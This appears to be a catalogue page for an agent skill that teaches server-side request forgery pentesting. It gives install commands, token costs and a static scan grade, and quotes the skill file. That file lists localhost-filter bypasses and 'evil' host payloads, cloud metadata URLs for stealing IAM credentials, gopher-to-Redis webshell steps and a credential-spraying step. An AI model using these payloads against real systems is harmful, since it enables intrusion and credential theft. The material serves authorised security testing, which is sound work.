Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/s0ld13rr/pentestcode/ssrfnpx skills add s0ld13rr/pentestcode --skill ssrfgit clone --depth 1 https://github.com/s0ld13rr/pentestcodeWhat it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00091 | $0.00749 |
| Opus 5 | $0.00046 | $0.00375 |
| Sonnet 5 | $0.00018 | $0.00150 |
| Haiku 4.5 | $0.00009 | $0.00075 |
Grade C, and why
web-ssrf scanned grade C with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Cloud metadata endpointhighServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
http://169.254.169.254/latest/meta-data/iam/security-credentials/ # AWS IMDSv1 How it starts
The opening of the file, as written. The whole thing — 43 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Server-Side Request Forgery (SSRF)
When this fires
The server makes an outbound request to a URL/host you can influence: webhook config, image/PDF/link-preview fetchers, import-from-URL, SSO/OIDC callback, image proxies (e.g. Next.js /_next/image), XML/SVG parsers.
Detect
Point it at an OOB listener; a callback from the SERVER's IP confirms SSRF:
# use interactsh / a collaborator / your own listener
url=http://<OOB-id>.oast.site # then watch for the server-sourced hit
Compare internal vs external: http://127.0.0.1:<port> / http://localhost responses vs a dead port (differential = internal reachability).
Decide — filter bypass
- Blocklist of
127.0.0.1/localhost→http://127.1,http://0,http://[::1],http://2130706433(decimal),http://0x7f000001,http://127.0.0.1.nip.io. - Allowlist/parser confusion →
http://allowed@evil,http://evil#allowed,http://allowed.evil.com, CR/LF +@, or a redirect you control (302 → internal). - Scheme filter →
gopher://(raw TCP → Redis/SMTP/internal HTTP),file://,dict://.
Exploit → PROVE IMPACT
# cloud metadata (the classic high-impact proof):
http://169.254.169.254/latest/meta-data/iam/security-credentials/ # AWS IMDSv1
# IMDSv2 needs a PUT token first (SSRF must allow method/headers) — else pivot to a v1 target
http://metadata.google.internal/computeMetadata/v1/ (Header Metadata-Flavor: Google) # GCP
http://169.254.169.254/metadata/instance?api-version=2021-02-01 (Header Metadata:true) # Azure
# internal services: gopher:// to Redis (SLAVEOF/CONFIG SET dir → webshell), unauth admin panels, port-scan via response/timing
Proof required: exfiltrated cloud creds/metadata, an internal-only page body, or an OOB hit provably from the server. Read creds → add_credential + cred_spray.
Tooling
nuclei -tags ssrf; interactsh/collaborator for OOB; gopherus to craft gopher payloads.
False positives / pitfalls
- Client-side fetch (the BROWSER requests it) = not SSRF.
- WAF returns 200 for everything → rely on the OOB callback / internal-vs-dead-port differential, not the status.
- Egress-filtered target → metadata/OOB may fail though internal pivots still work; try both.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2d ago First seen · 43 lines · 91 tokens per session scan C 751d7cc162c0
web-ssrf is a skill published in the GitHub repository s0ld13rr/pentestcode (566 stars, last pushed 11d ago), licensed MIT. It adds 91 tokens to every session and 749 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it C with 1 finding (cloud metadata endpoint). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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